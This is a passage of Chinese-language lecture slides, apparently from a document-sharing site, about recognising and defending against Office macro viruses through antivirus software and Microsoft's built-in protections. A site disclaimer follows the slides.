50、2007以下版本制作的含代码文件仅从图标上是无法看出是否为含代码文件,因为低版本的文件代码和文件是共存在一起的,在保存时不会强制改变文件后缀格式和图标形状176要想理解打开含代码文件时出现相应提示177宏病毒的防范宏病毒的防范外部防范自身防范178外部防范外部防范主要是通过杀毒软件防御和查杀,一般的杀毒软件都含有查杀宏病毒的功能,并注意要时时的升级病毒库179小提示:小提示:有的杀毒软件对该类的病毒根本就查杀不了也防御不了180自身防范自身防范既然宏病毒制作主要是相应office软件商制作的,传播也是依赖相应office文件的针对这种情况,微软在相应软件上提供了自动识别和自动防御的功能1811
侵权处理QQ:3464097650--上传资料QQ:3464097650
【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。